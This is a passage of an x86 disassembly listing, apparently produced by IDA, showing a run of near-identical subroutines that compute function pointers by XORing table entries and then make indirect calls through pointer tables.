		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AB737
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AB737:				; CODE XREF: sub_4AB6A6+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AB6A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AB7A3	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA50o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 21h
		mov	[ebp+var_2C], 0EFh
		mov	[ebp+var_28], 0EBh
		mov	[ebp+var_24], 9Ch
		mov	[ebp+var_20], 10h
		mov	[ebp+var_1C], 1Eh
		mov	[ebp+var_18], 0C0h
		mov	[ebp+var_14], 0D2h
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Ch
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AB834
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AB834:				; CODE XREF: sub_4AB7A3+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AB7A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AB8A0	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA54o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0CDh
		mov	[ebp+var_2C], 58h
		mov	[ebp+var_28], 0BBh
		mov	[ebp+var_24], 4Fh
		mov	[ebp+var_20], 0EBh
		mov	[ebp+var_1C], 0A7h
		mov	[ebp+var_18], 5Ch
		mov	[ebp+var_14], 7Dh
		mov	[ebp+var_10], 5
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 5
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AB931
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AB931:				; CODE XREF: sub_4AB8A0+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AB8A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AB99D	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA58o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 66h
		mov	[ebp+var_2C], 0A9h
		mov	[ebp+var_28], 5Bh
		mov	[ebp+var_24], 77h
		mov	[ebp+var_20], 0A1h
		mov	[ebp+var_1C], 0E9h
		mov	[ebp+var_18], 0F5h
		mov	[ebp+var_14], 0C0h
		mov	[ebp+var_10], 13h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 13h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4ABA2E
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4ABA2E:				; CODE XREF: sub_4AB99D+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AB99D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4ABA9A	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA5Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0B5h
		mov	[ebp+var_2C], 0EDh
		mov	[ebp+var_28], 1Ch
		mov	[ebp+var_24], 0A4h
		mov	[ebp+var_20], 0E2h
		mov	[ebp+var_1C], 0ADh
		mov	[ebp+var_18], 0D1h
		mov	[ebp+var_14], 84h
		mov	[ebp+var_10], 9
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 9
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4ABB2B
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4ABB2B:				; CODE XREF: sub_4ABA9A+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4ABA9A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4ABB97	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA60o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 9Eh
		mov	[ebp+var_2C], 0A2h
		mov	[ebp+var_28], 0EAh
		mov	[ebp+var_24], 32h
		mov	[ebp+var_20], 0F6h
		mov	[ebp+var_1C], 8Ah
		mov	[ebp+var_18], 0C5h
		mov	[ebp+var_14], 74h
		mov	[ebp+var_10], 0Eh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Eh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4ABC28
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4ABC28:				; CODE XREF: sub_4ABB97+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4ABB97	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4ABC94	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA64o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 50h
		mov	[ebp+var_2C], 0D7h
		mov	[ebp+var_28], 2Dh
		mov	[ebp+var_24], 8Eh
		mov	[ebp+var_20], 4
		mov	[ebp+var_1C], 73h
		mov	[ebp+var_18], 73h
		mov	[ebp+var_14], 4Ch
		mov	[ebp+var_10], 4
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 4
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4ABD25
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4ABD25:				; CODE XREF: sub_4ABC94+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4ABC94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4ABD91	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA68o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 3
		mov	[ebp+var_2C], 83h
		mov	[ebp+var_28], 39h
		mov	[ebp+var_24], 0AAh
		mov	[ebp+var_20], 5Dh
		mov	[ebp+var_1C], 0DFh
		mov	[ebp+var_18], 3Eh
		mov	[ebp+var_14], 40h
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Ch
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4ABE22
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4ABE22:				; CODE XREF: sub_4ABD91+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4ABD91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4ABE8E	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA6Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0C1h
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], 8Ah
		mov	[ebp+var_24], 0C0h
		mov	[ebp+var_20], 0A9h
		mov	[ebp+var_1C], 0B1h
		mov	[ebp+var_18], 1Ah
		mov	[ebp+var_14], 0B2h
		mov	[ebp+var_10], 15h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 15h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4ABF1F
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4ABF1F:				; CODE XREF: sub_4ABE8E+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4ABE8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4ABF8B	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA70o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 5Dh
		mov	[ebp+var_2C], 53h
		mov	[ebp+var_28], 71h
		mov	[ebp+var_24], 57h
		mov	[ebp+var_20], 51h
		mov	[ebp+var_1C], 82h
		mov	[ebp+var_18], 0AEh
		mov	[ebp+var_14], 0Fh
		mov	[ebp+var_10], 2
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 2
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AC01C
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AC01C:				; CODE XREF: sub_4ABF8B+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4ABF8B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AC088	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA74o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 74h
		mov	[ebp+var_2C], 0F2h
		mov	[ebp+var_28], 7Eh
		mov	[ebp+var_24], 1Bh
		mov	[ebp+var_20], 0A1h
		mov	[ebp+var_1C], 5Eh
		mov	[ebp+var_18], 0E0h
		mov	[ebp+var_14], 96h
		mov	[ebp+var_10], 3
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 3
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AC119
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AC119:				; CODE XREF: sub_4AC088+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AC088	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AC185	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA78o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
